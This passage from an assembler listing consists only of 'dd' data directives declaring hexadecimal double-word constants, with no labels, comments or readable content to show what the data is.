66C5A788h, 14CC0E44h dd 19AAFA9Bh, 325000E8h, 3B7C8DFh, 0A4F71B00h, 65C985CCh dd 0E920B5Dh, 0C080B881h, 172FC883h, 0B1A6A4A8h, 0F727FE00h dd 85BC1C8Dh, 7FC3017Ch, 7D18DF24h, 54BF0DDh, 7960C539h dd 0F87C8128h, 5BF282Fh, 0BCC00EECh, 0C99A33C2h, 3A0F3B8Eh dd 41CEC080h, 257165E6h, 3CF6E424h, 0EC841A80h, 1C5E23Ch dd 66631135h, 0EDF4A1B9h, 15E5E42Bh, 7C6A4602h, 54CA8ACDh dd 2C920044h, 26053C13h, 0A8234212h, 9CB70000h, 4592B38h dd 8793643Fh, 163C90AAh, 6007ADA5h, 0FB1D17D5h, 6A808697h dd 2A12D7h, 753DC632h, 0AEE0BA6Bh, 173C7B00h, 16AA2623h dd 7A700331h, 0A8C61B7Dh, 4351EDE8h, 0D284C300h, 0F4AAB3BEh dd 0E3E420h, 1405E5D5h, 0F173B226h, 22832F27h, 0E17F9BC8h dd 0C838AA56h, 637B5D08h, 173D4A07h, 862195D0h, 27C900A9h dd 710D5837h, 0EF0FD606h, 60CF8C4Ah, 7D32A20Ah, 0DBC0004Bh dd 0D2920C89h, 0A900DFFBh, 9D28BD99h, 16170F4Dh, 0E5857Bh dd 0BF37DEE8h, 0B5173D54h, 4400FA9Fh, 9811506Dh, 0D0410F35h dd 7C207F89h, 84E8F11Eh, 9448E50Bh, 0B46612h, 59E60B04h dd 5A037D36h, 0FFAEF400h, 0DFE26BFBh, 0CE1C00A1h, 9658CDF7h dd 0BE772192h, 0B935441Ch, 48E8B0C0h, 28710Ch, 0A45C655Eh dd 2D3931A2h, 8FF4890Eh, 1C0E0087h, 64EFF0h, 6AC571F1h dd 96A09D07h, 0A2407B00h, 0A42F12D3h, 3FB70034h, 4994A361h dd 460735D8h, 76556356h, 0BB172Fh, 0CBB525D0h, 809DFF57h dd 9D77A614h, 0E4F600B0h, 0A53E74D6h, 97004F52h, 0BCFC27AFh dd 9298F734h, 516900E4h, 7484F335h, 9BB0FB56h, 0B0005C94h dd 6B12E7C6h, 0B575009Ah, 64CD1B9Bh, 0D600AA52h, 0C27638EDh dd 21FCD1h, 0F9B5DDD3h, 6F2847C7h, 1558CB00h, 0BC354641h dd 387B66h, 248CEEACh, 7B450A26h, 0F40E6112h, 424F0C45h dd 1FAD8CF0h, 0C1FA94A6h, 8DB9557Fh, 7B7EF03Fh, 1CA23Ah dd 6FDFEA1Ah, 0FE09648h, 8556ECC7h, 3F50E1A0h, 992683B1h dd 690020B8h, 0C602752Ah, 0E9AF39D5h, 0B7F22E80h, 0A0AC1CE4h dd 4049EC60h, 3BA1E07h, 0B89DAA1Dh, 28E1733Eh, 458AFC60h dd 0AD486B77h, 0C69016Ch, 0A4DABDE4h, 607BB420h, 4ECEC1FEh dd 800D147h, 0B6336990h, 0F06659h, 918E11DDh, 515064C1h dd 0F2C6F907h, 8120D6CAh, 4A764Ch, 54AC3595h, 66F73E1Eh dd 793F6900h, 0B89110A0h, 2DEE286h, 9DEE5F29h, 0E460048Fh dd 0ED7C78BAh, 9BE8E4ECh, 2B00F876h, 2D96710h, 0F7F64FBh dd 35E79E8Ch, 2D27B6E0h, 0BD035C62h, 85075E5Ah, 0C7AAC0F8h dd 4100030h, 923E953Ch, 0B7096741h, 6E9FFCh, 90DCBAD1h dd 10E49Bh, 88CE5D9Dh dd 2C6495D0h, 137E6000h, 80EE4809h, 734C004Ah, 470DEA8Eh dd 5BECF8B6h, 1021EB0h, 78452F84h, 74CC801Ch, 1D9ACB5Ch dd 869F777Ch, 8A3A4E9h, 0D22C2A09h, 6AE0A01Eh, 3FDB7BC6h dd 7C803D3Eh, 0AF69373Ch, 1F77F5A9h, 0B8E82B75h, 0BCFBA200h dd 442705D0h, 0F45516ADh, 36D800CCh, 0FFD794B4h, 72DF81A0h dd 3542B800h, 2E3AECFAh, 0A1460087h, 0D72C5C38h, 0B600B778h dd 5D3E1DEBh, 0D6F39Bh, 0CF53E265h, 8F89E088h, 0A5B3420Bh dd 4C7A61h, 4083EBA9h, 0CFFEC72Ah, 110270C0h, 35AB54Ch dd 2BE9EC95h, 37E0B36Ah, 443D569Eh, 4AD900AAh, 8091FA8Fh dd 43F803B5h, 0BF83795Dh, 4EC16E8h, 7E6CF34Ch, 0A80AAD00h dd 787A1C10h, 1C400C0h, 2CF3D7FBh, 6B13E772h, 0B0A086EBh dd 8D143A69h, 0B989D428h, 7ACC10E0h, 4B6234BEh, 1F487E07h dd 46123CEBh, 0BE88277h, 403CF33Ah, 0F7A90589h, 21EC7489h dd 0B0690F2Dh, 981CB87Bh, 5893111Ah, 4D18A600h, 5C12A450h dd 243450DFh, 4CBC4AC1h, 0DC907CF4h, 0C803D400h, 683370E7h dd 446D0073h, 88117ABCh, 0A20F3716h, 0A0978C79h, 77A4FDC5h dd 759801FBh, 9AD43ABAh, 0A776EC2Bh, 7C82A513h, 9467CA07h dd 45D5C330h, 0A98707BCh, 470780AEh, 4630339Bh, 821E0AC8h dd 6EC6841Ch, 937651C0h, 984ECDh, 3D17A8E2h, 0E927D547h dd 166C9C16h, 99086901h, 0C1804B73h, 0A51311ADh, 0D709E71Eh dd 8078BC8Ch, 57EC2B80h, 1C9030h, 0F5269799h, 78BD1384h dd 201A6E34h, 323FA447h, 38F88A44h, 0A0B0E7C0h, 448C2D12h dd 0F03F59Ch, 4E7BBCB1h, 1AE4B068h, 0D28D01FBh, 4114B293h dd 1C043E70h, 0F202594Ch, 0A476AF63h, 5C619C67h, 2C6A2F93h dd 0C2984104h, 0F4152C00h, 0CA938D05h, 584060ACh, 515CB504h dd 0F8F18181h, 3BC4013Fh, 10F9FFABh, 4F46780Eh, 0D4A89028h dd 184F7268h, 43505097h, 3F1C3DB5h, 0EA0C547Dh, 8F34225Ah dd 5203E101h, 0C36DFBECh, 0F604EDCh, 681F6F0Dh, 40CA25E0h dd 0EC006B42h, 4BE0A286h, 0EA1612Dh, 1A6C6509h, 0C08B1605h dd 6BBFD269h, 7C103600h, 295F8468h, 21F900FEh, 0FF17DF6Eh dd 0F6FA0F5Bh, 0CCAEE300h, 925E7732h, 0B1E3BB7h, 4AFEB380h dd 0F53CFA0Ch, 3A22A900h, 5D450199h, 0E39A0312h, 0E18C5E09h dd 55DDFA90h, 642BD101h, 85B0CB4Ch, 60BE5CF0h, 0EB7F18DEh dd 8C1DDDFFh, 69078EECh, 0E0AF4F73h, 16C9AA76h, 7D08CFAFh dd 9A4C2058h, 0D0074F7Dh, 5A1DED59h, 89D23EA0h, 0C44130ECh dd 19E38E08h, 960FB800h, 5062DE5h, 61691977h, 0D0EF21D6h dd 0B36046C9h, 2A423D11h, 355003CEh, 4D488BCFh, 21AC0832h dd 81EAE0F4h, 39FF03CCh, 0F661B688h, 1E1473D0h, 2EA5340Dh dd 0F9E3D0E7h, 9887DA6Dh, 20FAD736h, 0E35E255Dh, 78C13518h dd 0FD89F088h, 0C091B1E0h, 23C95B10h, 45013C1Bh, 0B30D7B0Bh dd 2AFC65E7h, 27E03C34h, 0DE973500h, 5B56E652h, 0AA12DD00h dd 0FBAD2378h, 6ACE0003h, 0F86CD726h, 4C002D08h, 0A7796785h dd 334E17h, 5BDDEC8Fh, 0B1026A86h, 82900603h, 0B02578BBh dd 0ADBAACh, 0B349A88Dh, 2FF03A16h, 7C6E520Fh, 0B44018CBh dd 8266F5Bh, 865D1100h, 0DE00C75Fh, 0F1926B8Dh, 188ABA06h dd 31012E4Ah, 731D4816h, 8E9B7517h, 0AA25E158h, 19FCC330h dd 8029BE8Fh, 20FDF193h, 63EA510h, 193A3098h, 2F03503h dd 995C51B5h, 332014E2h, 738D04A6h, 348FC69h, 0FAE087EDh dd 0EC9077B6h, 0A0016E1h, 11BFB1A7h, 9AC37Bh, 3A18012Dh dd 0F5834EEh, 258C50F1h, 0EEB0ADCFh, 0AAC97B1Dh, 8347B80Eh dd 315972Fh, 650671C9h, 117F3B5Ah, 3CFFB800h, 7717EDEFh dd 7E8200D5h, 3FFCF790h, 0A8C03DE3h, 0BFAAD75Bh, 741B74A5h dd 1CE900F1h, 1246964Ch, 530037E7h, 0C92D2F7Ah, 1671DDCh dd 0B16F59F8h, 6027C66Dh, 0AD00D6F8h, 0E8AF55Dh, 9798BDDFh dd 0B5A0C463h, 0D04C7BF7h, 9F550378h, 30CCE020h, 1B215009h dd 61B87BC8h, 6D0368EAh, 88192D04h, 492001F5h, 0DBD4CF5Ch dd 1710815Bh, 79821FEFh, 31E834D4h, 0E08FFB1h, 1C20805Ch dd 15B31FE7h, 6A400F8Dh, 7421A156h, 0D85884B4h, 14758A91h dd 59F0801Bh, 33583A80h, 0BA401C0Ch, 4F001511h, 22ADD097h dd 633A94E0h, 0DC19081Bh, 21FA2001h, 0AD926597h, 6051C20h dd 2DA454DFh, 0CC0A5875h, 886550AEh, 0A80CDE01h, 1888F108h dd 94A0408Eh, 0C9396A46h, 0A7552908h, 0C4133C4h, 30227BC1h dd 500666EAh, 0DAD2B3AAh, 0F458C648h, 53077160h, 0ACC9EBB2h dd 0A1EFB6C0h, 0FB2B0339h, 3AC6FE0Ch, 0C1319E98h, 0EAD17700h dd 88C47E90h, 0D0DD0746h, 20BCE4EDh, 7C3E18CAh, 76CE8D00h dd 9392C901h, 8BFA010Eh, 97EB28CBh, 8769E806h, 7500B4FCh dd 59D171AAh, 0D067FCh, 8197F9EBh, 0B3F1D965h, 0E7CAD707h dd 273B32A3h, 2520BEE9h, 788310Dh, 8C09382Dh, 0EB3AD075h dd 0D1009D24h, 0B88236A8h, 7D67B62h, 34235B58h, 0AE7D60B3h dd 3C0EE531h, 2F21FBA5h, 0A93661FFh, 0EED45C2Bh, 78B0005Dh dd 19278729h, 1006420h, 0A0E7ED67h, 33E62B6h, 21E83ACCh dd 9003378Fh, 9810E549h, 5B60A9B1h, 76AD7B60h, 0C6C0009Ch dd 0B192812h, 7000B3DAh, 547E7950h, 10701DEh, 0EB4A22D5h dd 0CC4C2953h, 410E2619h, 3858DD3Ah, 613422A0h, 0AF8E19DFh dd 378040A7h, 644C25FAh, 497A07D6h, 8BE7A943h, 80A0906Ah dd 300C5220h, 1DA9D021h, 300891Ah, 0F38AFD59h, 30F8A7h dd 0D5CEFCABh, 7911A1C8h, 825D7D00h, 54C59B9Ah, 3C00083h dd 2DF1A48Ah, 5E00D837h, 252456E0h, 58213FACh, 2C002006h dd 0A3440514h, 98003730h, 0C04C2BDAh, 0B2EA7Ah, 0D00F890Bh dd 0CFC75BBCh, 2C60B8E8h, 0B2B7B120h, 0E2DB06BFh, 39E045AEh dd 6CFEB90Ch, 0D8A548BBh, 77CE1820h, 6D252900h, 0A340B64Ah dd 0AE980113h, 73B2D411h, 0A07984C6h, 9D806C29h, 33F01C94h dd 0C8089D39h, 77032100h, 363D9B6Bh, 508F0069h, 0C04B7FE2h dd 0B60044DAh, 9F405576h, 6D8A02h, 9BD50CCEh, 74E9163Bh dd 8029C9h, 0E7CF963Fh, 1CD76BFh, 0DC4D28B8h, 0E635B0AEh dd 6149A80h, 440108AAh, 113FE60Ch, 0AD0EDB7h, 551C0EB9h dd 0E2A0A141h, 0A9D84342h, 30455730h, 0C709B1CFh, 8D232B68h dd 84808328h, 1C5A4B6h, 57F30C9h, 0D49A3315h, 5B54BACCh dd 0C900DAA0h, 9BEBBBC3h, 1D40E0B9h, 1FDBCC80h, 8C0E00EFh dd 8BC01189h, 69F36830h, 31B01ACh, 8FFF84EEh, 90937D07h dd 0C4A0C8A2h, 251B103Dh, 0ADB0C900h, 23337943h, 0BAA40C05h dd 7A790388h, 0A1B98936h, 19696F78h, 2E390903h, 2A462F0h dd 164BFA06h, 0EE2107BCh, 6C8700AAh, 69C9FF5h, 0A7742FB1h dd 0C180F87Dh, 118738B9h, 42E51580h, 5E47EDB6h, 0B50FE47Dh dd 6AF2C02h, 1B30FE3Dh, 794683B9h, 917C3EE3h, 3B8E1702h dd 822E87BBh, 21CCC658h, 402CCB91h, 60D6A014h, 0F5E04600h dd 0EA6494E7h, 0BEC70370h, 0D02F886Ah, 2283CEE9h, 14CDC554h dd 7FBD59C0h, 153C0021h, 1082AFEBh, 39027D62h, 1CB3DCD0h dd 0FC4C413Fh, 8CED6020h, 1F106CE0h, 2E0ACF1h, 17006B72h dd 0CEB9438Dh, 0C0314EBBh, 61EB8FD1h, 143C8451h, 0A47C00E0h dd 1A08D6B0h, 0F87856C0h, 0EB1B0A02h, 0C433F784h, 1B158640h dd 2C022E08h, 3BD7919Dh, 0B990A7B6h, 7C08AEF5h, 57968071h dd 5BD40E1Eh, 0D17ACBFAh dd 71056930h, 3E9FC2h, 0B0898BB9h, 0BE3FAFFFh, 0AC6CF903h dd 267C7B02h, 176D4C29h, 0D46F05B3h, 0F48C60F1h, 8CF4AB6Bh dd 6CF448Ch, 106B7600h, 60E427A9h, 1F440236h, 15ABBECh dd 1D0B90A1h, 8004E5E0h, 0AAF29C11h, 0A55F2Ch, 0EBF04935h dd 7ADE40D9h, 39864400h, 309D78C1h, 6C9B22h, 890EB2C9h dd 4486CFB7h, 0B2EA9CB6h, 0FCE85A12h, 51376040h, 2A940B8Bh dd 98BEA4h, 2F7E389Ah, 0A12E2D71h, 343A3600h, 8CEC034Eh dd 826402AAh, 0D7A5387Ch, 678AE0A4h, 84B91BA0h, 0C1904207h dd 1E1B0B8Ch, 0C0924D0h, 0D498153Dh, 3400F5C1h, 874065EDh dd 755BBC6h, 0F35EFD33h, 0EF04A42h, 3091F1ACh, 2CA4F9BCh dd 96551AB1h, 0A0824953h, 211CB72h, 3E257710h, 13009EE2h dd 78284BF4h, 181BBF0Ch, 319D6F80h, 50918268h, 79988183h dd 0E8407A30h, 4B8ACA1h, 890DB2E4h, 2EB362DFh, 2D00C8F4h dd 61129922h, 0B012839Ah, 202ED3DEh, 0BD00C423h, 752353ACh dd 975F009Eh, 3058DB37h, 0CC14F2DCh, 0B82CEC11h, 95078CC1h dd 70640CE9h, 4875E862h, 8C9C0Ch, 531C63D1h, 8FE0FF6Eh dd 491595Ch, 0F2BF68A2h, 25C494CBh, 5846304Ch, 5160034h dd 0F45DEC57h, 0BB191D1Bh, 68291982h, 2AFF048h, 76A266BFh dd 0EC9071BBh, 10F17410h, 5630AE0Bh, 0E502C836h, 0D7890AB2h dd 81313E30h, 0A588FFC8h, 0FB008C6Ah, 0D80FEB22h, 22803406h dd 0E202C77Ah, 0BAF5D752h, 2D04486h, 0ADD993FEh, 38903C30h dd 811B2B3h, 3F88C789h, 0B2A09A86h, 2173DCh, 0DE04CA58h dd 0C6801AD1h, 6183E9DFh, 14FCF5CEh, 30231511h, 6D563A0Ch dd 2C01E4F1h, 0CBE0647Ah, 2EA411h, 0E8A73542h, 743A49B0h dd 0E0F6AADBh, 0AEBDCC00h, 0FA84B444h, 80C700D6h, 0D9F3B8EFh dd 0A7269C0Bh, 4600E701h, 10A629B9h, 203F031Dh, 0F1913C11h dd 0E4AB8100h, 237DBA25h, 8B81Fh, 5464E633h, 0D54932F4h dd 0D8990098h, 0B6187579h, 9EA80E4Ah, 0CEDB7B05h, 0EC2CC87Dh dd 80127498h, 0E022C355h, 360820CAh, 67006652h, 325525B9h dd 0A9ACC4h, 0A7AFEC51h, 0DBC7B68Dh, 0BD7D6100h, 9492EAFAh dd 20E20CD9h, 4851C26Eh, 0E3ED7A03h, 0D7AA078Ah, 0A008E8D2h dd 0A61786F4h, 0BD700A3h, 0EB9920A0h, 0FF54CF12h, 1F122BACh dd 5820E8E0h, 13F4D9h, 0FC96B076h, 75D4B188h, 49E9D498h dd 0A0CC42F0h, 0BE6BB033h, 848443F1h, 0AF0090F9h, 71566846h dd 7FE822h, 25D33CB5h, 780A1E15h, 0C3D81F04h, 0A4C2238Eh dd 0C194A0C5h, 0D6E689h, 0BF536822h, 0AF9CA972h, 0B21AE700h dd 5908F6A4h, 76A10435h, 0CB9D71A7h, 0C9B8C86Ch, 0D8360B00h dd 39C7FB3Dh, 0F96C693Ah, 90851F04h, 0FD2700F2h, 25722484h dd 0CCA4EF2Ch, 0E38AFB40h, 0D85D000Fh, 0AFFEC7BEh, 551A58DDh dd 0B7997436h, 72B00B8h, 0EDCD95CAh, 0C6A2C300h, 0BAB61F4Eh dd 4C1D287h, 0BBFC34h, 76F0E2CEh, 2FC70E09h, 9823555Bh dd 8BA8A1FFh, 7E29F275h, 0B858449Ch, 1F03862Ch, 3DAE884Fh dd 60394CF0h, 8104FC22h, 5AC15D76h, 30B61082h, 0C4116B8Dh dd 0CE88F4F1h, 6B8B0780h, 98AA92A3h, 33F30C60h, 68D1AF56h dd 79B230F9h, 0A19D5F01h, 0D34A8CA8h, 16013870h, 28D0587Bh dd 5B7CAD8Ch, 7F30F548h, 2253BA00h, 6154D50h, 0CB9A5h dd 0D8E548C2h, 89003B9Fh, 4E5B62DCh, 0A2E07509h, 4548C280h dd 6034E4C8h, 3C68336Bh, 0A72E579Ah, 3C1D6344h, 970314A8h dd 9D9AC43Ah, 9868242Dh, 72029B46h, 9CF1B56Bh, 7C84E01Ch dd 422706Bh, 86B961D2h, 3448C8Ch, 6A4EC000h, 0BD05AC0Ah dd 8A1C021Fh, 0F944BBB2h, 740BBC48h, 820038B9h, 0FB5231B0h dd 475520FDh, 0DB1F0DF8h, 49C2E323h, 60EBDE3Ch, 2F4B1C98h dd 7CF64D44h, 46392026h, 1B2B801h, 0CD03F89h, 9B21C0E1h dd 8CFCB2EDh, 912A36F6h, 721FD8CEh, 1FE46F2Ah, 0EA1F5700h dd 7AF3EBC5h, 3E45009Fh, 0B34A621h, 3D027409h, 7C5D60E2h dd 0F134C1E1h, 610FAD10h, 0E219B501h, 3FE63B0Ch, 163E3E4h dd 7CDD7ED1h, 892CBE93h, 685DF218h, 0F975Ch, 0FEE39AB8h dd 39D04953h, 6D72F0Eh, 0BB227058h, 0AC9983E8h, 0B02E2C3Eh dd 7D714260h, 0B1BD0090h, 0C1628199h, 0E91E40E8h, 6304CBE4h dd 0D8B4717Ah, 1104003Fh, 437F927Dh, 891CC464h, 0D11F2DA3h dd 0CD159326h, 7AE3158Ch, 0E1FD02D8h, 40BB5870h, 155937h dd 53F54C4Dh, 7D63B326h, 0F0249519h, 0B8DD7AE8h, 71745DD0h dd 0E3BB2639h, 0A3004EB8h, 5A9CEA1h, 78CAA400h, 7F996867h dd 8263003Eh, 0C5884269h, 4C94D57Ah, 60237892h, 0F046AB0Ah dd 83289Ah, 58655B9Fh, 0E5F23203h, 80193F09h, 2F2C1071h dd 19813E1h, 0EF1408CCh, 0FB8AE69Fh, 1202C45Ch, 404AC9A6h dd 0EA237EF9h, 0F62C00A3h, 97B56D60h, 710C7B9Dh, 0C1F7E782h dd 0B6A6035Dh, 624187E6h, 0AC131588h, 0EB56B800h, 5EA89FABh dd 0E6C5284Bh, 70050080h, 0DFB62AE7h, 1A0239E5h, 0CF161F47h dd 26D0CC89h, 172810FDh, 0CCCC3155h, 0AFE0E389h, 0A015F92Ah dd 8473A4h, 0A2977E12h, 452457Ah, 0E2760EE0h, 0EE3A8049h dd 6B75E5A3h, 4FBBF30Dh, 99C35102h, 6180EC98h, 0EA329A2Fh dd 0DC995627h, 0C8FB4B01h, 0E2E0E7CBh, 45E000D1h, 515591C9h dd 98A05A01h, 9301A61Ah, 0D78D161Bh, 11204830h, 3D60016Dh dd 2E278911h, 6BCFCA4h, 284E79C0h, 67FA487Ah, 171E9839h dd 80B7700Bh, 83096208h, 0E45ABAA3h, 155422Ch, 4AE2FE09h dd 0E4EE8D46h, 0C72D0000h, 76E910C6h, 0A53032BBh, 0C18E31D7h dd 0B42300F0h, 0BA0D735Ah, 0CD078FDDh, 44E20689h, 5D96BCD0h dd 70D04991h, 0E91AF900h, 0EF071020h, 0ADFF3204h, 2E811826h dd 22CB8C89h, 6409C090h, 649DCBCEh, 0EDA401B0h, 53784412h dd 965AF473h, 1810E03h, 8980CB54h, 2310FB68h, 6F076D70h dd 4C843E17h, 51EA7992h, 0B39A07D0h, 40E0EE1Dh, 34CC3B1Ch dd 7798783Bh, 1531BB02h, 48E0E8DBh, 72F4F44h, 7BE49981h dd 0CBDD0093h, 2DEE5CBBh, 268E4E14h, 69D1C08Ch, 564B465h dd 0E2D80BF4h, 0DC9505B6h, 3FFAC1BFh, 0E054F806h, 52566000h dd 0AF01FE48h, 5A74A140h, 82A9A47h, 0F27D9300h, 7116FFEEh dd 11140019h, 7AD833B2h, 94A0893Eh, 6000E596h, 552FD468h dd 1724DAh, 39EDB302h, 0E5E7C49h, 0E6112C01h, 3F12D428h dd 0D897ECh, 9861D9CEh, 0CBC590B4h, 42DB4504h, 74C32333h dd 4DD9D15Ah, 192FC220h, 287ABD86h, 28297Dh, 0CD108DCCh dd 0C0493E15h, 91E93960h, 0CE28E0ABh, 40C014ACh, 0D91CBC9Ah dd 9BB00071h, 54CF8DC3h, 286FEC24h, 8AC8C238h, 7BECC493h dd 0C7EEF6h, 0B615AE25h, 0BBBACD90h, 86A891Dh, 7C208212h dd 50114F1h, 0D5D95859h, 768C01EBh, 0FC6DC651h, 9E4C8361h dd 0A3CB0104h, 0D9691908h, 0CA869980h, 0A29753Eh, 7F3CA400h dd 0B5C79EF7h, 805CB498h, 0E7057D5Ah, 4F79CF35h, 0AA3DDA03h dd 815722B1h, 607329D7h, 27596B04h, 0E500EA8Ah, 231D2EA1h dd 0A0C113ECh, 38D800EAh, 0F8AEF2C4h, 0FC90309Ah, 0D9FD44h dd 3C33FA8h, 0CE61E01Ah, 9FF83001h, 3B641CB3h, 3B697AD0h dd 7C7DDD6Dh, 0D8A44C85h, 4A17B880h, 7C03BEE6h, 44AB15E9h dd 3A7EE1C1h, 263FEDF8h, 0DCEE13h, 69CC061Fh, 0CD5B801Bh dd 0D0397C40h, 0B814C082h, 90CE54C8h, 3A810062h, 0F7489A99h dd 0E0F789D7h, 31015767h dd 562C7E50h, 97CF7F76h, 847D32E0h, 5C694BB8h, 0E01CBDFCh dd 2E540043h, 0DBC76796h, 220A38FEh, 0E85E4E6Ch, 317AB501h dd 1C63B1C5h, 64BE2F0Bh, 7335B400h, 0E358CE7Bh, 79E80C8h dd 0BB7CE0h, 5E355AC8h, 3401BA15h, 8286641Dh, 8800F712h dd 5C409B43h, 26547233h, 4000FEC5h, 801F697Bh, 0D4C6572Ch dd 8156006Fh, 8C8450h, 21FEE93Bh, 0A9E57210h, 3BA0014Ch dd 3252002Ch, 36BE2F8h, 69124B5h, 0A8C38014h, 0BCAB8A6Fh dd 42E59700h, 183EA06Eh, 0C97330B4h, 570F5169h, 0AFFB5Ch dd 0AEA1268Ah, 5CE103h, 0A3E98990h, 0D6587FB1h, 43031D2h dd 121329h, 96CE78B0h, 0BCAE706Ah, 0EF167506h, 0F231BAA4h dd 17601C1h, 0AF9CC306h, 61BF408Ah, 0CE0B499Ah, 485BBBEBh dd 3B13C5A0h, 7B85C260h, 8C9C4070h, 30C0487Ch, 8B598D84h dd 0A00148C8h, 133E3407h, 1C823B80h, 5E204BFBh, 4BD250A5h dd 91E420E3h, 0EB00EA63h, 1548FDA4h, 7C49E73Ah, 136B058Ch dd 0C425987Eh, 0B9700480h, 5DF08293h, 3E0A84D1h, 0A209C88Eh dd 5CA4C898h, 0F50600A5h, 0E7D97477h, 0B00750C1h, 0D37BE69Ah dd 0E9438517h, 8107DABBh, 8B965624h, 875420h, 804E7D6Ch dd 2BF0AB8Ch, 0A38F0100h, 9CB45ACBh, 0CE2901F1h, 31E859C3h dd 0FAE444A4h, 57383h, 9D7D6881h, 0B9FFCFF7h, 19C09174h dd 0A1E12560h, 0B8BD003Ch, 239BBA42h, 0DB55E951h, 5ECFE494h dd 77C23C00h, 16DAA70h, 52820B78h, 0C02008EDh, 0CBEE28E5h dd 800E980Bh, 93B09370h, 0CFB6A8A9h, 7499857h, 0B223F560h dd 246772A7h, 8A6DA440h, 975EE500h, 7F9B3273h, 80689471h dd 818B60E2h, 0C6013A9Ah, 0ED33F443h, 99F0837Ch, 40DA2427h dd 518A0080h, 0BD989B84h, 0E3E2D9C0h, 74A32031h, 0C12800E0h dd 9E21E73Dh, 4632AEDBh, 0D2E329C4h, 604000C0h, 0C48C179h dd 0A7003C95h, 5B8AD0D3h, 25B432C3h, 0A810847Bh, 0B6481858h dd 19BA00D8h, 0FB6E5BCEh, 75A92CEDh, 0DE2F0060h, 0E3033E88h dd 0AD544A07h, 9089AEB2h, 48DE3AA0h, 0A102B4AAh, 5579887Ah dd 0E60004E4h, 93BC521h, 84D901Fh, 69BFC9CAh, 12A7DC40h dd 808EFF93h, 62003046h, 4752BC7Dh, 4096017Ch, 0CEDD1A01h dd 0A512D787h, 3504C87Ah, 0DE107654h, 0D1EB1382h, 63CB0340h dd 12AABBF2h, 37004471h, 8B7DA87Bh, 0C3830205h, 0E66AD2EEh dd 8257C41h, 5320B47Ch, 0BECB76A0h, 0AA386900h, 0C12511DFh dd 0B81D4C51h, 26623302h, 0A8449379h, 38AAB700h, 0EACD577Ah dd 9E3D06F4h, 0E0FF58C2h, 0E4008C76h, 125A0EB4h, 58AB53E8h dd 0EC806455h, 48696777h, 54419D00h, 0BFE8E01Bh, 0C3FE3E02h dd 0E481450h, 3FD6C968h, 0BAEBB420h, 70028815h, 7AD906EDh dd 50E8E453h, 0FB01A475h, 3433DEE9h, 0E990FC00h, 2E4363D5h dd 13B87B48h, 30045434h, 0A54AD8FFh, 0B2893E18h, 0F58080A3h dd 52E2A97Ch, 2F590200h, 10BFAEA7h, 28AC4BCFh, 7B0F4468h dd 0F073123h, 680B93FAh, 0A5C86BB1h, 1738B8E4h, 0B6FE04h dd 2CF3F916h, 3600D827h, 13E60D30h, 93F1A3Bh, 2D4EBBBEh dd 5C01C8EEh, 0C272226Fh, 80F7A812h, 521C6DCh, 0C9B8E2E6h dd 41FCC0EBh, 792DCF33h, 0DE18802Ah, 0BD684CBh, 3B767ADDh dd 740F9C64h, 40556728h, 62C532CDh, 0E275003Ah, 0B54FAB95h dd 0FF05E08Bh, 0E78856FEh, 18F24C8h, 3F54877Fh, 25B99843h dd 0D5A3D920h, 414B70D0h, 9560BE1Ch, 5E59142h, 56744037h dd 0FA070701h, 903CC47Dh, 314046F3h, 75EB9502h, 0E4F2FFCEh dd 0F67704FCh, 0F43DAF05h, 20981208h, 0F5CE6F0Dh, 54202945h dd 53481F52h, 0BBCB0174h, 330655BAh, 578300CCh, 40102F0Bh dd 486F2E3h, 0B011CF50h, 8D28C8E2h, 0E8AE690Eh, 65E9E02Fh dd 5A0F382h, 0BA6C98F8h, 0E0688988h, 903267EBh, 26E19845h dd 614E583Ah, 0CEF6B020h, 0A19400A6h, 0B3C6E6D8h, 0E709472Dh dd 5172C401h, 0C03D1E30h, 0BE51FE82h, 530042D9h, 0B360C44Ch dd 2CB00EA8h, 40BCA510h, 0E4AECF68h, 2CAC6300h, 7A4BA8D6h dd 0FDBA0AADh, 0EB01C8Ah, 3DE352h, 0B3DCCF5Eh, 702E7A32h dd 39005701h, 91D0D603h, 8CD8A8B7h, 652E00F8h, 858AC1FEh dd 201EBD5h, 8DB541F2h, 0FC88F72h, 6CCE51DAh, 27966C60h dd 78A0693Bh, 5F5133A2h, 84AC1A50h, 0E9032C17h, 8827A421h dd 2CF47920h, 97C6451h, 1810911Ch, 5403EFBAh, 4840E068h dd 58108931h, 8250FCh, 65DE2EEDh, 4ED039E7h, 33DB2909h dd 54C5A56h, 883F78EFh, 0AA418171h, 1C286331h, 0CE805C6Ah dd 0BA63447Ch, 1CAD0630h, 0C9804FBBh, 4C4E685Ah, 8FA40006h dd 1F9FC4DBh, 9432AEDDh, 9200705Eh, 84094FC7h, 694A123Fh dd 0F72C5C40h, 37AADF1h, 8AE5A095h, 49D0A239h, 42045C52h dd 0FBCF17ABh, 2E0538A2h, 0CCC3EA62h, 54009AE8h, 0CBF2E94Eh dd 5087BB7Dh, 0F16050F8h, 0B4B62A00h, 0E957E426h, 67326E00h dd 75C318h, 0D1E5554Fh, 4C9371E6h, 7EA0393Ah, 0B6F1EB00h dd 312E40C3h, 0A03B48AFh, 89AC0B96h, 885E8C18h, 3B68A003h dd 0CCAC20B1h, 0C78CF4h, 88C87AE8h, 5653F13Fh, 0A4F851Fh dd 0D5014992h, 0E12766DBh, 88C55020h, 3500527Dh, 0E28AF508h dd 4D8295Dh, 711A06B0h, 219E85D1h, 0E8E3A23Ch, 550188F3h dd 0D41DDAEh, 0E8F449C7h, 0E5B9005Ah, 0FA06A283h, 0BA880568h dd 515E0290h, 7512F7C3h, 93CF8060h, 6C0E0B2Eh, 0E7337A05h dd 0F4D33CF4h, 351762Fh, 703B0E48h, 99F835DBh, 0CA12137Eh dd 0B8E17B32h, 2AE00C65h, 205A0F48h, 3A8588DCh, 0B4881241h dd 770027D0h, 2A472884h, 0EE9CEDh, 5999D461h, 98659EABh dd 6B64F900h, 0A839E64Fh, 0BA8F07E8h, 0E1C63E01h, 0C0B39918h dd 709988CFh, 242AAF00h, 12693E80h, 88EC5A56h, 0DA00286Ch dd 8AF3D815h, 746AD4D6h, 2AE90374h, 0A40F2B0Bh, 0E13FAEE8h dd 9E7F8D88h, 5840666Ch, 0BE897901h, 0B7382AE6h, 0CA008863h dd 0E0CFB89Ah, 0E007234h, 0C1107F96h, 756C944h, 0F56C020Bh dd 51415007h, 607384C6h, 0DCB17B00h, 97B001BEh, 1C1301D0h dd 34773623h, 2F388143h, 6BA88C9h, 80EA20h, 0E1EE85E9h dd 331E7F99h, 58476600h, 889DD22h, 392B3864h, 56383C30h dd 0E026E7AAh, 9027DF7h, 401795A2h, 6B0A996h, 0AC807396h dd 0F20369CEh, 413113B5h, 0CC790567h, 